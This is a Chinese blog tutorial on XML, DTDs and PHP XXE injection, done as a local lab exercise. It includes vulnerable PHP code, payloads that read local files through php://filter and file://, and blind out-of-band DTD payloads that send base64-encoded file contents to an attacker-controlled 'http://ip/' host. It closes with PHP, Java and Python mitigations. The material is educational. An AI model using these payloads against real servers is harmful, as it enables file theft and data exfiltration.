zoukankan      html  css  js  c++  java
  • PHP xml 外部实体注入漏洞学习

    XML与xxe注入基础知识

    1.XMl定义

    XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。

    XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。

    可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计

    它被设计用来传输和存储数据,其焦点是数据的内容。

    超文本标记语言被设计用来显示数据,其焦点是数据的外观

    XML特点,XML 被设计用来结构化、存储以及传输信息。仅仅是纯文本,有能力处理纯文本的软件都可以处理 XML。XML 允许创作者定义自己的标签和自己的文档结构。XML 是独立于软件和硬件的信息传输工具。所有现代浏览器都有读取和操作 XML 的内建 XML 解析器,但是不同的浏览器解析的方法不一样的,如在IE中使用loadXML()方法,在其他浏览器中使用DOMParser。loadXML()方法用于加载字符串文本,load()方法用于加载文件。解析器把 XML 载入内存,然后把它转换为可通过 JavaScript 访问的 XML DOM 对象。

    2.XML的作用

     XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。 相反,普通文件不对每个数据段做描述(除了在头文件中),也不保留数据关系结构。使用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用元素名(从数据库)来存取XML数据。

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

    <?xml version="1.0" encoding="UTF-8"?>
    
    <!-- ⬆XML声明⬆ -->
    
    <!DOCTYPE  文件名 [
    
    <!ENTITY实体名 "实体内容">
    
    ]>
    
    <!-- ⬆文档类型定义(DTD)⬆ -->
    
    <元素名称 category="属性">
    
    文本或其他元素
    
    </元素名称>
    
    <!-- ⬆文档元素⬆ -->
    

    3.xml格式说明

    XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

    内部声明DTD

    <!DOCTYPE 根元素 [元素声明]>

    引用外部DTD

    <!DOCTYPE 根元素 SYSTEM "文件名">
    或者
    <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

    DTD的实体

    DTD的作用

    DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

    外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。对外部实体进行的任何更改将在包含对其的引用的文档中自动更新。即XML使用外部实体将信息或“内容”将自动提取到XML文档的正文中。为此,我们需要在XML文档内部声明一个外部实体

    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。。我们可以在内部确定其值(内部子集)

     或从外部来源:(外部子集):

    注意到SYSTEM标识符没?该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是“site.com”下的一个页面

    为了声明这些实体,我们需要在文档类型定义(DTD)中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容

    那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.

    如果要引用一个外部资源,可以借助各种协议 几个例子:

    file:///path/to/file.ext
    
    http://url/file.ext
    
    php://filter/read=convert.base64-encode/resource=conf.php
    

    我们来看一个DTD的例子,一个在DTD里面有一个SYSTEM标识符的实体:

    内部声明实体

    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

    一个内部实体声明

    <!ENTITY 实体名称 "实体的值">
    
    例子
    
    DTD:
    
    <!ENTITY writer "me">
    
    XML:
    
    <author>&writer;</author>
    
    注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
    

    引用外部实体

    一个外部实体声明

    <!ENTITY 实体名称 SYSTEM "URI/URL">
    
    或者
    
    <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
    
    例子
    
    DTD:
    
    <!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">
    
    XML:
    
    <author>&writer;</author> 

    外部实体类型有

    本地实验

    由于Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用

    所以这里我用的是phpstudy对应php5.45的环境,libxml版本为2.7.8

    php7.2环境中,libxml版本过高,2.9.5

    有回显

    外部实体

    漏洞源码:

    <?php
    #show_source(__FILE__);
    error_reporting(0);
    $data = file_get_contents('php://input');
    
    $xml = simplexml_load_string($data);
    print_r($xml);
    echo $xml->name;
    
    ?>   

    payload:

    1 <?xml version="1.0" encoding="utf-8"?> 
    2 <!DOCTYPE ANY [
    3 <!ELEMENT name ANY >
    4 <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=c:/test.txt" >]>
    5 <root>
    6 <name>&xxe;</name>
    7 </root>

    参数实体

    payload:

    <!DOCTYPE foo [<!ELEMENT foo ANY >
    
    <!ENTITY  % xxe SYSTEM "http://ip/vil.dtd" >
    
    %xxe;]>
    
    <foo>&evil;</foo>
    

    vil.dtd

    <!ENTITY evil SYSTEM "file:///c:/windows/win.ini">
    

    无回显

    漏洞源码

    <?php
    error_reporting(0);
    $data = file_get_contents('php://input');
    $xml = simplexml_load_string($data);
    ?>

    payload:

    <!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/test.txt">
    <!ENTITY % dtd SYSTEM "http://ip/vil.dtd">
    %dtd;
    %send;
    ]>
    

    vil.dtd

    <!ENTITY % all
    "<!ENTITY % send SYSTEM 'http://ip/?data=%file;'>"
    >
    %all;
    

     或者

    payload:

    <!DOCTYPE root[
    <!ENTITY % dtd SYSTEM "http://ip/vil.dtd">
    %dtd;]>
    <root>
    <root/>
    

    vil.dtd

    <!ENTITY % file SYSTEM "php://filter/read=/convert.base64-encode/resource=./vil.dtd">
    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip/?file=%file;'>">
    %all;
    %send;

    注意内部的&都需要实体编码成&#x25;或者&#37; 这两个都可以,一个是ascii的16进制表示,一个是ascii的10进制表示。

    如果要防止php中的xxe漏洞,可以在simplexml_load_string前加上一句

    libxml_disable_entity_loader(true);禁止从外部加载XML实体

    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    
    dbf.setExpandEntityReferences(false);

    Python:

    from lxml import etree
    
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    参考文章:

    https://www.cnblogs.com/backlion/p/9302528.html

    https://www.freebuf.com/column/156863.html

      

  • 相关阅读:
    实验九:异常的抛出、捕获并处理
    声明圆锥体类,实现Area和Volume接口,计算表面积和体积,按体积比较大小。
    实验7:Student类继承Person类,并增加查找,统计功能
    类的封装:实现银行账户信息的开户,存款,取款,查询,销户操作
    输入包含十个整形类型数据的数组,将其升序排序,并输出其中的素数
    采用两个一维数组输出等腰三角形的杨辉三角
    log4net
    分页
    C#多线程编程(1):线程的启动
    把一个项目a生成后放在另一个项目b使用(b项目是例子中的ScreenWebPage_Tool)
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/12408806.html
Copyright © 2011-2022 走看看